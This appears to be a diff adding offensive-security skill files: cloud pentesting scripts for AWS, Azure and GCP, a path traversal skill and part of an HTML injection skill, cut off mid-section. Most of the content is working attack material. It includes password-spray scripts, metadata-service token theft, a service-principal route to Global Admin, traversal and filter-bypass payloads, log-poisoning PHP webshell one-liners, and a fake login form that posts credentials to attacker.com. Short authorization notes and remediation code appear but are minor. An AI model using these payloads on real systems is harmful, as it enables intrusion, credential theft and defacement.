### Phase 10: GCP Enumeration
Discover GCP resources:
```bash
# Authentication
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth list
# Account information
gcloud config list
gcloud organizations list
gcloud projects list
# IAM Policies
gcloud organizations get-iam-policy <org-id>
gcloud projects get-iam-policy <project-id>
# Enabled services
gcloud services list
# Source code repos
gcloud source repos list
gcloud source repos clone <repo>
# Compute instances
gcloud compute instances list
gcloud beta compute ssh --zone "region" "instance" --project "project"
# Storage buckets
gsutil ls
gsutil ls -r gs://bucket-name
gsutil cp gs://bucket/file ./local
# SQL instances
gcloud sql instances list
gcloud sql databases list --instance <id>
# Kubernetes
gcloud container clusters list
gcloud container clusters get-credentials <cluster> --region <region>
kubectl cluster-info
```
### Phase 11: GCP Exploitation
Exploit GCP misconfigurations:
```bash
# Get metadata service data
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
# Check access scopes
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
# Decrypt data with keyring
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global
# Serverless function analysis
gcloud functions list
gcloud functions describe <name>
gcloud functions logs read <name> --limit 100
# Find stored credentials
sudo find /home -name "credentials.db"
sudo cp -r /home/user/.config/gcloud ~/.config
gcloud auth list
```
## Quick Reference
### Azure Key Commands
| Action | Command |
|--------|---------|
| Login | `Connect-AzAccount` |
| List subscriptions | `Get-AzSubscription` |
| List users | `Get-MsolUser -All` |
| List groups | `Get-MsolGroup -All` |
| Current roles | `Get-AzRoleAssignment` |
| List VMs | `Get-AzVM` |
| List storage | `Get-AzStorageAccount` |
| Key Vault secrets | `az keyvault secret list --vault-name <name>` |
### AWS Key Commands
| Action | Command |
|--------|---------|
| Configure | `aws configure` |
| Caller identity | `aws sts get-caller-identity` |
| List users | `aws iam list-users` |
| List S3 buckets | `aws s3 ls` |
| List EC2 | `aws ec2 describe-instances` |
| List Lambda | `aws lambda list-functions` |
| Metadata | `curl http://169.254.169.254/latest/meta-data/` |
### GCP Key Commands
| Action | Command |
|--------|---------|
| Login | `gcloud auth login` |
| List projects | `gcloud projects list` |
| List instances | `gcloud compute instances list` |
| List buckets | `gsutil ls` |
| List clusters | `gcloud container clusters list` |
| IAM policy | `gcloud projects get-iam-policy <project>` |
| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
### Metadata Service URLs
| Provider | URL |
|----------|-----|
| AWS | `http://169.254.169.254/latest/meta-data/` |
| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
| GCP | `http://metadata.google.internal/computeMetadata/v1/` |
### Useful Tools
| Tool | Purpose |
|------|---------|
| ScoutSuite | Multi-cloud security auditing |
| Pacu | AWS exploitation framework |
| AzureHound | Azure AD attack path mapping |
| ROADTools | Azure AD enumeration |
| WeirdAAL | AWS service enumeration |
| MicroBurst | Azure security assessment |
| PowerZure | Azure post-exploitation |
## Constraints and Limitations
### Legal Requirements
- Only test with explicit written authorization
- Respect scope boundaries between cloud accounts
- Do not access production customer data
- Document all testing activities
### Technical Limitations
- MFA may prevent credential-based attacks
- Conditional Access policies may restrict access
- CloudTrail/Activity Logs record all API calls
- Some resources require specific regional access
### Detection Considerations
- Cloud providers log all API activity
- Unusual access patterns trigger alerts
- Use slow, deliberate enumeration
- Consider GuardDuty, Security Center, Cloud Armor
## Examples
### Example 1: Azure Password Spray
**Scenario:** Test Azure AD password policy
```powershell
# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
```
### Example 2: AWS S3 Bucket Enumeration
**Scenario:** Find and access misconfigured S3 buckets
```bash
# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt
# Check each bucket for contents
while read bucket; do
echo "Checking: $bucket"
aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt
# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/
```
### Example 3: GCP Service Account Compromise
**Scenario:** Pivot using compromised service account
```bash
# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json
# List accessible projects
gcloud projects list
# Enumerate compute instances
gcloud compute instances list --project target-project
# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh
# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
```
## Troubleshooting
| Issue | Solutions |
|-------|-----------|
| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |
| Permission denied | List current roles; try different resources; check resource policies; verify region |
| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |
| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |
## References
- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation

View File

@@ -0,0 +1,318 @@
# Advanced Cloud Pentesting Scripts
Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
## Azure Automation Runbooks
### Export All Runbooks from All Subscriptions
```powershell
$subs = Get-AzSubscription
Foreach($s in $subs){
$subscriptionid = $s.SubscriptionId
mkdir .\$subscriptionid\
Select-AzSubscription -Subscription $subscriptionid
$runbooks = @()
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
foreach ($i in $autoaccounts){
$runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name
}
foreach($r in $runbooks){
Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
}
}
```
### Export All Automation Job Outputs
```powershell
$subs = Get-AzSubscription
$jobout = @()
Foreach($s in $subs){
$subscriptionid = $s.SubscriptionId
Select-AzSubscription -Subscription $subscriptionid
$jobs = @()
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
foreach ($i in $autoaccounts){
$jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
}
foreach($r in $jobs){
$jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
}
}
$jobout | Out-File -Encoding ascii joboutputs.txt
```
## Azure Function Apps
### List All Function App Hostnames
```powershell
$functionapps = Get-AzFunctionApp
foreach($f in $functionapps){
$f.EnabledHostname
}
```
### Extract Function App Information
```powershell
$subs = Get-AzSubscription
$allfunctioninfo = @()
Foreach($s in $subs){
$subscriptionid = $s.SubscriptionId
Select-AzSubscription -Subscription $subscriptionid
$functionapps = Get-AzFunctionApp
foreach($f in $functionapps){
$allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter
$allfunctioninfo += $f.SiteConfig | fl
$allfunctioninfo += $f.ApplicationSettings | fl
$allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
}
}
$allfunctioninfo
```
## Azure Device Code Login Flow
### Initiate Device Code Login
```powershell
$body = @{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"resource" = "https://graph.microsoft.com"
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
$Headers = @{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Headers $Headers `
-Body $body
$authResponse
```
Navigate to https://microsoft.com/devicelogin and enter the code.
### Retrieve Access Tokens
```powershell
$body = @{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
}
$Tokens = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
-Headers $Headers `
-Body $body
$Tokens
```
## Azure Managed Identity Token Retrieval
```powershell
# From Azure VM
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
# Full instance metadata
$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
$instance
```
## AWS Region Iteration Scripts
Create `regions.txt`:
```
us-east-1
us-east-2
us-west-1
us-west-2
ca-central-1
eu-west-1
eu-west-2
eu-west-3
eu-central-1
eu-north-1
ap-southeast-1
ap-southeast-2
ap-south-1
ap-northeast-1
ap-northeast-2
ap-northeast-3
sa-east-1
```
### List All EC2 Public IPs
```bash
while read r; do
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt
done < regions.txt
sort -u ec2-public-ips.txt -o ec2-public-ips.txt
```
### List All ELB DNS Addresses
```bash
while read r; do
aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
done < regions.txt
sort -u elb-public-dns.txt -o elb-public-dns.txt
```
### List All RDS DNS Addresses
```bash
while read r; do
aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt
done < regions.txt
sort -u rds-public-dns.txt -o rds-public-dns.txt
```
### Get CloudFormation Outputs
```bash
while read r; do
aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
done < regions.txt
```
## ScoutSuite jq Parsing Queries
### AWS Queries
```bash
# Find All Lambda Environment Variables
for d in */ ; do
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt
done
# Find World Listable S3 Buckets
for d in */ ; do
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' >> s3-buckets-world-listable.txt
done
# Find All EC2 User Data
for d in */ ; do
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt
done
# Find EC2 Security Groups That Whitelist AWS CIDRs
for d in */ ; do
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings."ec2-security-group-whitelists-aws".items' >> ec2-security-group-whitelists-aws-cidrs.txt
done
# Find All EC2 EBS Volumes Unencrypted
for d in */ ; do
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt
done
# Find All EC2 EBS Snapshots Unencrypted
for d in */ ; do
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt
done
```
### Azure Queries
```bash
# List All Azure App Service Host Names
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'
# List All Azure SQL Servers
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"'
# List All Azure Virtual Machine Hostnames
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,".",.location,".cloudapp.windows.net","\n"'
# List Storage Accounts
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'
# List Disks Encrypted with Platform Managed Keys
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = "EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt
```
## Password Spraying with Az PowerShell
```powershell
$userlist = Get-Content userlist.txt
$passlist = Get-Content passlist.txt
$linenumber = 0
$count = $userlist.count
foreach($line in $userlist){
$user = $line
$pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
$current = $linenumber + 1
Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber])
$linenumber++
$Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
try {
Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
}
catch {
$Failure = $_.Exception
if ($Failure -match "ID3242") { continue }
else {
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
Add-Content valid-creds.txt $Failure.Message
Write-Host -ForegroundColor red $Failure.Message
}
}
}
```
## Service Principal Attack Path
```bash
# Reset service principal credential
az ad sp credential reset --id <app_id>
az ad sp credential list --id <app_id>
# Login as service principal
az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
# Create new user in tenant
az ad user create --display-name <name> --password <password> --user-principal-name <upn>
# Add user to Global Admin via MS Graph
$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"
az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
```
## Additional Tools Reference
| Tool | URL | Purpose |
|------|-----|---------|
| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |
| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |
| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |
| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |
| MSOLSpray | github.com/dafthack | O365 password spraying |
| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |
| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |
| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |
| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |
| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |
| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |
| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |
| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |
| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |
## Vulnerable Training Environments
| Platform | URL | Purpose |
|----------|-----|---------|
| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |
| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |
| Flaws Cloud | flaws.cloud | AWS CTF challenges |
| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |

View File

@@ -0,0 +1,483 @@
---
name: File Path Traversal Testing
description: This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
---
# File Path Traversal Testing
## Purpose
Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.
## Prerequisites
### Required Tools
- Web browser with developer tools
- Burp Suite or OWASP ZAP
- cURL for testing payloads
- Wordlists for automation
- ffuf or wfuzz for fuzzing
### Required Knowledge
- HTTP request/response structure
- Linux and Windows filesystem layout
- Web application architecture
- Basic understanding of file APIs
## Outputs and Deliverables
1. **Vulnerability Report** - Identified traversal points and severity
2. **Exploitation Proof** - Extracted file contents
3. **Impact Assessment** - Accessible files and data exposure
4. **Remediation Guidance** - Secure coding recommendations
## Core Workflow
### Phase 1: Understanding Path Traversal
Path traversal occurs when applications use user input to construct file paths:
```php
// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
$template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);
```
Attack principle:
- `../` sequence moves up one directory
- Chain multiple sequences to reach root
- Access files outside intended directory
Impact:
- **Confidentiality** - Read sensitive files
- **Integrity** - Write/modify files (in some cases)
- **Availability** - Delete files (in some cases)
- **Code Execution** - If combined with file upload or log poisoning
### Phase 2: Identifying Traversal Points
Map application for potential file operations:
```bash
# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=
```
Common vulnerable functionality:
- Image loading: `/image?filename=23.jpg`
- Template selection: `?template=blue.php`
- File downloads: `/download?file=report.pdf`
- Document viewers: `/view?doc=manual.pdf`
- Include mechanisms: `?page=about`
### Phase 3: Basic Exploitation Techniques
#### Simple Path Traversal
```bash
# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts
# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd # Double encoding
# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"
```
#### Absolute Path Injection
```bash
# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
```
### Phase 4: Bypass Techniques
#### Bypass Stripped Traversal Sequences
```bash
# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd
# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
```
#### Bypass Extension Validation
```bash
# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
# Path truncation
../../../etc/passwd...............................
# Double extension
../../../etc/passwd.jpg.php
```
#### Bypass Base Directory Validation
```bash
# When path must start with expected directory
/var/www/images/../../../etc/passwd
# Expected path followed by traversal
images/../../../etc/passwd
```
#### Bypass Blacklist Filters
```bash
# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd
# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af
# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c
# Case variations (Windows)
....\\....\\etc\\passwd
```
### Phase 5: Linux Target Files
High-value files to target:
```bash
# System files
/etc/passwd # User accounts
/etc/shadow # Password hashes (root only)
/etc/group # Group information
/etc/hosts # Host mappings
/etc/hostname # System hostname
/etc/issue # System banner
# SSH files
/root/.ssh/id_rsa # Root private key
/root/.ssh/authorized_keys # Authorized keys
/home/<user>/.ssh/id_rsa # User private keys
/etc/ssh/sshd_config # SSH configuration
# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config
# Process information
/proc/self/environ # Environment variables
/proc/self/cmdline # Process command line
/proc/self/fd/0 # File descriptors
/proc/version # Kernel version
# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf
```
### Phase 6: Windows Target Files
Windows-specific targets:
```bash
# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM
# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\
# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php
# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\
```
### Phase 7: Automated Testing
#### Using Burp Suite
```
1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success
```
#### Using ffuf
```bash
# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
-w /usr/share/wordlists/traversal.txt \
-mc 200
# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200,500 -ac
```
#### Using wfuzz
```bash
# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
--hc 404 \
"http://target.com/index.php?file=FUZZ"
# With headers/cookies
wfuzz -c -z file,traversal.txt \
-H "Cookie: session=abc123" \
"http://target.com/load?path=FUZZ"
```
### Phase 8: LFI to RCE Escalation
#### Log Poisoning
```bash
# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
```
#### Proc/self/environ
```bash
# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
"http://target.com/page?file=/proc/self/environ"
# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
"http://target.com/page?file=/proc/self/environ&c=whoami"
```
#### PHP Wrapper Exploitation
```bash
# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
"http://target.com/page?file=php://input"
# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"
```
### Phase 9: Testing Methodology
Structured testing approach:
```bash
# Step 1: Identify potential parameters
# Look for file-related functionality
# Step 2: Test basic traversal
../../../etc/passwd
# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd
# Step 5: Test absolute paths
/etc/passwd
# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg
# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php
# Step 8: Attempt log poisoning for RCE
```
### Phase 10: Prevention Measures
Secure coding practices:
```php
// PHP: Use basename() to strip paths
$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;
// PHP: Validate against whitelist
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
include("/var/www/files/" . $_GET['file']);
}
// PHP: Canonicalize and verify base path
$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);
if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
include($realUserPath);
}
```
```python
# Python: Use os.path.realpath() and validate
import os
def safe_file_access(base_dir, filename):
# Resolve to absolute path
base = os.path.realpath(base_dir)
file_path = os.path.realpath(os.path.join(base, filename))
# Verify file is within base directory
if file_path.startswith(base):
return open(file_path, 'r').read()
else:
raise Exception("Access denied")
```
## Quick Reference
### Common Payloads
| Payload | Target |
|---------|--------|
| `../../../etc/passwd` | Linux password file |
| `..\..\..\..\windows\win.ini` | Windows INI file |
| `....//....//....//etc/passwd` | Bypass simple filter |
| `/etc/passwd` | Absolute path |
| `php://filter/convert.base64-encode/resource=config.php` | Source code |
### Target Files
| OS | File | Purpose |
|----|------|---------|
| Linux | `/etc/passwd` | User accounts |
| Linux | `/etc/shadow` | Password hashes |
| Linux | `/proc/self/environ` | Environment vars |
| Windows | `C:\windows\win.ini` | System config |
| Windows | `C:\boot.ini` | Boot config |
| Web | `wp-config.php` | WordPress DB creds |
### Encoding Variants
| Type | Example |
|------|---------|
| URL Encoding | `%2e%2e%2f` = `../` |
| Double Encoding | `%252e%252e%252f` = `../` |
| Unicode | `%c0%af` = `/` |
| Null Byte | `%00` |
## Constraints and Limitations
### Permission Restrictions
- Cannot read files application user cannot access
- Shadow file requires root privileges
- Many files have restrictive permissions
### Application Restrictions
- Extension validation may limit file types
- Base path validation may restrict scope
- WAF may block common payloads
### Testing Considerations
- Respect authorized scope
- Avoid accessing genuinely sensitive data
- Document all successful access
## Troubleshooting
| Problem | Solutions |
|---------|-----------|
| No response difference | Try encoding, blind traversal, different files |
| Payload blocked | Use encoding variants, nested sequences, case variations |
| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |

View File

@@ -0,0 +1,495 @@
---
name: HTML Injection Testing
description: This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
---
# HTML Injection Testing
## Purpose
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
## Prerequisites
### Required Tools
- Web browser with developer tools
- Burp Suite or OWASP ZAP
- Tamper Data or similar proxy
- cURL for testing payloads
### Required Knowledge
- HTML fundamentals
- HTTP request/response structure
- Web application input handling
- Difference between HTML injection and XSS
## Outputs and Deliverables
1. **Vulnerability Report** - Identified injection points
2. **Exploitation Proof** - Demonstrated content manipulation
3. **Impact Assessment** - Potential phishing and defacement risks
4. **Remediation Guidance** - Input validation recommendations
## Core Workflow
### Phase 1: Understanding HTML Injection
HTML injection occurs when user input is reflected in web pages without proper sanitization:
```html
<!-- Vulnerable code example -->
<div>
Welcome, <?php echo $_GET['name']; ?>
</div>
<!-- Attack input -->
?name=<h1>Injected Content</h1>
<!-- Rendered output -->
<div>
Welcome, <h1>Injected Content</h1>
</div>
```
Key differences from XSS:
- HTML injection: Only HTML tags are rendered
- XSS: JavaScript code is executed
- HTML injection is often stepping stone to XSS
Attack goals:
- Modify website appearance (defacement)
- Create fake login forms (phishing)
- Inject malicious links
- Display misleading content
### Phase 2: Identifying Injection Points
Map application for potential injection surfaces:
```
1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page
```
Common vulnerable parameters:
```
?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=
```
### Phase 3: Basic HTML Injection Testing
Test with simple HTML tags:
```html
<!-- Basic text formatting -->
<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>
<!-- Structural elements -->
<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks
<!-- Links -->
<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>
<!-- Images -->
<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)"> <!-- XSS attempt -->
```
Testing workflow:
```bash
# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"
# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
```
### Phase 4: Types of HTML Injection
#### Stored HTML Injection
Payload persists in database:
```html
<!-- Profile bio injection -->
Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
<h1>Site Under Maintenance</h1>
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
</div>
<!-- Comment injection -->
Great article!
<form action="http://attacker.com/steal" method="POST">
<input name="username" placeholder="Session expired. Enter username:">
<input name="password" type="password" placeholder="Password:">
<input type="submit" value="Login">
</form>
```
#### Reflected GET Injection
Payload in URL parameters:
```html
<!-- URL injection -->
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
<!-- Search result injection -->
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
```
#### Reflected POST Injection
Payload in POST data:
```bash
# POST injection test
